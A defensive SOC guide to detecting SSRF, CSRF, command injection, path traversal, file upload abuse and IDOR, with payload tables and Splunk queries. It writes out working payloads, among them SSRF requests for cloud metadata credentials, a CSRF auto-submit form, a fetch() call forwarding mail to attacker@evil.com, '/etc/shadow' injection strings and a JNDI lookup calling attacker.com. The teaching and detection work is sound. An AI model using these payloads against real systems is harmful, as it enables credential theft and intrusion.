Threats
T1190Web App Attacks — SSRF, CSRF, Command Injection, IDOR
A practical guide to the web application attacks every SOC analyst encounters — SSRF, CSRF, command injection, path traversal, file upload abuse, and IDOR. Detection patterns in WAF logs, server logs, and application responses.
View on Graph
What Web Application Attacks Are for the SOC
Web application attacks target the application layer (Layer 7). They exploit flaws in how applications handle user input, manage sessions, and enforce authorization. These are the attacks that bypass network defenses because they use legitimate HTTP traffic.
- Most web application attacks map to MITRE ATT&CK
T1190(Exploit Public-Facing Application) — the attacker is using a public web application as their initial access vector. - WAF logs are the primary detection source, but understanding what the attacker is doing requires interpreting HTTP parameters, headers, and response codes.
- Many attacks chain together: SQL injection for initial access, SSRF to reach an internal service, followed by command injection on that internal service.
SSRF — Server-Side Request Forgery
SSRF occurs when an attacker makes a server-side application send HTTP requests to an attacker-controlled destination. The application acts as a proxy — the attacker uses the server’s network trust to access internal resources, including cloud metadata.
How SSRF Works
Attacker → App: "Fetch this URL: http://169.254.169.254/latest/meta-data/"
App → Internal AWS Metadata API: HTTP GET
App ← Attacker: "Here's your IAM credentials from metadata"
SSRF Payload Patterns
| Target | Payload | What It Hits |
|---|---|---|
| Cloud metadata | http://169.254.169.254/latest/meta-data/ | AWS, Azure, GCP instance metadata |
| Internal services | http://localhost:9200/ | Elasticsearch API (no auth by default) |
| Internal file read | file:///etc/passwd | Local file read via file:// protocol |
| Internal scanning | http://10.0.0.1:22/, http://10.0.0.2:22/, etc. | Internal network scan via the application server |
| Database scanning | http://127.0.0.1:5432/, http://127.0.0.1:3306/ | Internal database port scan |
| Blind callback | http://attacker-controlled.com/callback | Exfiltration of data via redirect or outbound request |
| SSRF via URL parameter | ?url=http://internal.corp/ | URL fetch parameter abused — can lead to C2 infrastructure |
Detection — SSRF in WAF and Server Logs
WAF log indicators:
- URL parameter containing
169.254.169.254(cloud metadata IP) — immediate escalation - URL parameter containing
localhost,127.0.0.1,0.0.0.0,[::1]— internal resource access - URL parameter containing RFC 1918 addresses (
10.x,172.16-31.x,192.168.x) - URL parameter with
file://,gopher://,dict://protocols — non-HTTP protocol abuse - Response time anomalies — internal endpoints may respond differently than external
Server log indicators:
- Outbound HTTP requests from the web server to internal IPs or cloud metadata endpoints
- DNS queries for internal hostnames from the web server
- Application error logs showing “Connection refused” to internal addresses
SPL query — detect SSRF via cloud metadata endpoint:
index=web sourcetype=waf_access
| search uri_path IN ("*/latest/meta-data/*", "*/metadata/instance*", "*/computeMetadata/*")
| stats count by src_ip, uri_path, http_method, response_code
| eval alert = "CRITICAL — SSRF to cloud metadata endpoint from " . src_ip
| table _time, src_ip, uri_path, response_code, alert
SPL query — detect SSRF to internal IP ranges:
index=proxy destination_ip IN ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| search sourcetype IN ("proxy", "web_server", "application_log")
| stats count by src_ip, destination_ip, destination_port, uri
| eval alert = "HIGH — Server making outbound request to internal IP — possible SSRF"
| table _time, src_ip, destination_ip, destination_port, uri, alert
Real-World SSRF Scenario
An attacker sends a POST to a web application’s PDF export feature with {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"}. The application fetches the URL and includes the response in the PDF. The attacker downloads the PDF containing AWS IAM credentials.
What to look for: A web application endpoint that accepts URLs and the response contains cloud metadata content or credentials.
CSRF — Cross-Site Request Forgery
CSRF tricks an authenticated user’s browser into executing unintended actions on a web application where the user is currently authenticated.
How CSRF Works
- User is authenticated to
bank.com(session cookie in browser) - User visits
attacker.com(in another tab or email link) attacker.comsends a request tobank.com/transfer?amount=1000&to=attacker- The browser sends the session cookie automatically — the request appears legitimate
- The transfer executes because the server trusts the session cookie
CSRF Payload Vectors
| Vector | Example | Impact |
|---|---|---|
| HTML form auto-submit | <form action="https://bank.com/transfer" method="POST"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to" value="attacker"></form><script>document.forms[0].submit()</script> | Fund transfer, password change, email forwarding |
| Image tag GET request | <img src="https://api.example.com/user/delete?id=123" width="0" height="0"> | Account action triggered by image load |
| XMLHttpRequest | fetch('https://api.example.com/email/forward', {method:'POST', credentials: 'include', body: 'forward_to=attacker@evil.com'}) | Email forwarding rule set for persistence |
| WebSocket CSRF | Cross-origin WebSocket connection to application | Real-time data manipulation or exfiltration |
| JSONP CSRF | <script src="https://api.example.com/user/data?callback=exfiltrate"></script> | Data exfiltration via callback |
Detection — CSRF
CSRF is difficult to detect in network logs because the request is legitimate-looking — it has a valid session cookie, comes from the user’s IP, and targets real application endpoints.
What to look for:
- Referer header anomalies: Requests from unexpected referer domains (not the application’s domain)
- Origin header mismatch:
Origin: https://attacker.comwhen the app ishttps://app.example.com - Unusual action sequences: Actions the user would not normally take in that session (password change, then email forwarding, then fund transfer)
- Multiple CSRF violations in logs: Same user, same action, from different IPs / different times = CSRF testing
SPL query — detect missing or mismatched Referer header:
index=web sourcetype=waf_access
| search action IN ("password_change", "email_forward", "fund_transfer", "delete_account", "add_admin")
| eval referer_check = if(match(http_referer, "yourdomain\\.com"), "VALID", if(http_referer="*" OR isnull(http_referer), "MISSING", "SUSPICIOUS"))
| where referer_check != "VALID"
| stats count by src_ip, user, uri_path, http_referer, referer_check
| sort - count
Prevention (What to Tell the Dev Team)
| Control | How It Works |
|---|---|
| CSRF tokens | Server-generated random token embedded in each form. Token validated on submission. |
| SameSite cookies | SameSite=Strict or SameSite=Lax — browser sends cookie only for same-site requests |
| Custom headers | API endpoints require X-Requested-With: XMLHttpRequest — not set by cross-origin forms |
| Origin/Referer validation | Server validates the Origin or Referer header on sensitive actions |
| Double-submit cookie | Random value sent as both a cookie and a request header — server verifies they match |
Command Injection
Command injection occurs when an attacker injects operating system commands into an application input that is passed to a system shell.
How Command Injection Works
Vulnerable call: system("ping -c 1 " . $_GET['ip']);
Attacker input: 8.8.8.8; cat /etc/shadow
Executed: ping -c 1 8.8.8.8; cat /etc/shadow
Command Injection Payloads
| Payload | Target Shell | What It Does |
|---|---|---|
; whoami | Linux/Unix | Command chaining — executes whoami after original command |
| whoami | Linux/Unix | Pipe — sends original command output to whoami |
`whoami` | Linux/Unix | Command substitution — evaluates whoami inline |
$(whoami) | Linux/Unix | Command substitution (Bash) — evaluates whoami inline |
|| whoami | Linux/Unix | OR operator — executes whoami only if original fails |
&& whoami | Linux/Unix | AND operator — executes whoami only if original succeeds |
| ping -n 5 127.0.0.1 || whoami | Windows | Command chaining in cmd.exe |
%0A whoami | Linux/Unix | Newline injection — breaks command into two lines |
-o ProxyCommand=whoami | SSH options | SSH argument injection in ping/traceroute-like tools |
Detection — Command Injection
WAF log indicators:
- Command chaining operators (
;,|,||,&&,`) in input fields that expect IP addresses, hostnames, or file paths - OS command names in input fields (
whoami,id,cat,ls,dir,netstat,systeminfo) - Shell metacharacters in unexpected fields (form fields, headers, file upload names)
Application log indicators:
- Processes spawned from the web server user (
www-data,IUSR,NetworkServicerunningcmd.exe,/bin/sh,bash) - Unexpected child processes of the web application process
- Output of OS commands appearing in HTTP responses
SPL query — detect shell command execution from web server:
index=system processes
| search ParentProcessName="*httpd*" OR ParentProcessName="*nginx*" OR ParentProcessName="*w3wp*"
| search CommandLine IN ("*/bin/sh*", "*/bin/bash*", "*cmd.exe*", "*powershell*", "*whoami*", "*id*", "*cat /etc/*", "*dir c:\\*")
| stats count by ComputerName, ParentProcessName, CommandLine, UserName
| eval alert = "CRITICAL — Web server spawned shell — command injection on " . ComputerName
| table _time, ComputerName, CommandLine, UserName, alert
Path Traversal
Path traversal (directory traversal) allows an attacker to read files outside the web application’s root directory by manipulating file path parameters.
Path Traversal Payloads
| Payload | What It Accesses |
|---|---|
../../../etc/passwd | Linux password file |
../../../../Windows/System32/drivers/etc/hosts | Windows hosts file |
..%2f..%2f..%2fetc%2fpasswd | URL-encoded path traversal |
....//....//....//etc/passwd | Double-dot bypass (some filters miss this) |
..;/..;/..;/etc/passwd | Semicolon encoding bypass (Java/Tomcat) |
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | Full URL encoding |
/../../../etc/passwd | Absolute path (if application prepends a path) |
file:///etc/passwd | File protocol path traversal |
/static/../../WEB-INF/web.xml | Application file access (Java web.xml reveals servlet mappings) |
Detection — Path Traversal
WAF log indicators:
../or URL-encoded equivalents in URL parameters or request paths%2e%2e/(encoded dot-dot-slash) patterns- Attempted access to OS files (
/etc/passwd,boot.ini,web.config,web.xml) - Attempted access to application files outside the web root (
WEB-INF/,META-INF/,.env,composer.json,package.json)
Server log indicators:
- 200 responses to requests that should 404 (e.g.,
/static/../../../etc/passwdreturns file content) - Application reads files outside expected directories
- Error messages revealing file system paths
File Upload Abuse
File upload abuse allows attackers to upload malicious content that gets stored on the server and executed.
File Upload Attack Types
| Attack Type | What Happens | Example |
|---|---|---|
| Web shell upload | PHP/JSP/ASP executable uploaded and accessed directly | Upload shell.php — server executes it |
| Overwrite existing files | Upload with filename like ../web.config overwrites configuration | Override authentication configuration |
| SVG/XSS injection | SVG file with embedded JavaScript | Content-Type: image/svg+xml with <script>alert(1)</script> |
| ZIP bomb / DoS | Highly compressed file expands to fill disk | Upload a 10KB ZIP that expands to 10GB |
| MIME type mismatch | Executable with Content-Type: image/jpeg | Bypass client-side MIME checks |
| Double extension | shell.php.jpg — server sees the second extension | Apache double-extension handling |
| Null byte injection | shell.php%00.jpg — truncates after null byte | Old PHP versions terminate string at null byte |
| Polyglot files | File valid as both image and executable | GIF + PHP shell = shell.gif |
Detection — File Upload Abuse
WAF log indicators:
- Executable extensions in upload filenames (
.php,.asp,.jsp,.exe,.sh,.pl,.py,.war) - Double extensions (
.php.jpg,.asp.png) - MIME type mismatch:
Content-Type: image/jpegbut file signature isMZ(Windows executable) orELF(Linux binary) - Upload to directories that are web-accessible (uploads should be stored outside web root) — a key insider threat vector
- Subsequent HTTP access to the uploaded file path with execution (200 instead of 404/403)
IDOR — Insecure Direct Object Reference
IDOR occurs when an application exposes direct references to internal objects (database IDs, file paths, user IDs) and fails to verify that the user is authorized to access that specific object.
How IDOR Works
Legitimate: /api/users/1234/profile → Returns Alice's profile
IDOR: /api/users/1235/profile → Returns Bob's profile (but should be blocked)
IDOR Payload Vectors
| Vector | Pattern | Impact |
|---|---|---|
| Sequential IDs | /api/invoices/1001, /api/invoices/1002, … | Access other users’ invoices |
| UUID enumeration | /api/documents/uuid-here (if UUIDs are guessable or leaked) | Access other users’ documents |
| Numeric ID in POST body | {"user_id": 1234} → change to 1235 | Modify another user’s data |
| Path-based ID | /user/1234/delete → change to /user/5678/delete | Delete other users’ accounts |
| Multi-tenant bypass | /tenant/42/billing → change to /tenant/43/billing | Access another tenant’s billing data |
| API parameter pollution | GET /api/user?id=1234&id=5678 | Parameter pollution to bypass authorization |
Detection — IDOR
WAF log indicators:
- Sequential access to IDs (
/user/1001,/user/1002,/user/1003) — attacker enumerating user IDs - Access to resources that reference objects the user should not own
- Response codes: 200 for resources the user should not access (should be 403)
- Error messages that reveal valid IDs (“User 1235 exists” vs. “User 9999 not found”)
SPL query — detect IDOR enumeration:
index=web sourcetype=waf_access
| rex field=uri_path "/(?:user|account|profile|invoice|document|order)/(?<object_id>\d+)"
| stats dc(object_id) as unique_ids_accessed, count as total_requests by src_ip, session_id, user
| where unique_ids_accessed > 5
| eval alert = "MEDIUM — " . src_ip . " accessed " . unique_ids_accessed . " unique IDs — possible IDOR enumeration"
| table _time, src_ip, user, unique_ids_accessed, total_requests, session_id, alert
| sort - unique_ids_accessed
CSSI — Cross-Site Script Inclusion and Other Lesser-Known Attacks (common in containerized apps)
Command Injection via HTTP Headers
Some applications log HTTP headers to files or databases — attackers can inject commands or XSS payloads into headers:
| Header | Injection | Impact |
|---|---|---|
User-Agent | '); DROP TABLE logs;-- | SQL injection via User-Agent |
X-Forwarded-For | <script>alert(1)</script> | XSS in admin log viewer |
Referer | ${jndi:ldap://attacker.com/a} | Log4Shell-style JNDI injection |
Cookie | ../../etc/passwd | Path traversal if cookie logged to file |
Related
- API Attacks — OWASP API Top 10 — detection and response for T1190 techniques
- SQL Injection — detection and response for T1190 techniques
- Kill Chain — covers the kill chain concepts
- OSI Model — covers the osi model concepts
- Metasploit — detection and response for T1203 techniques
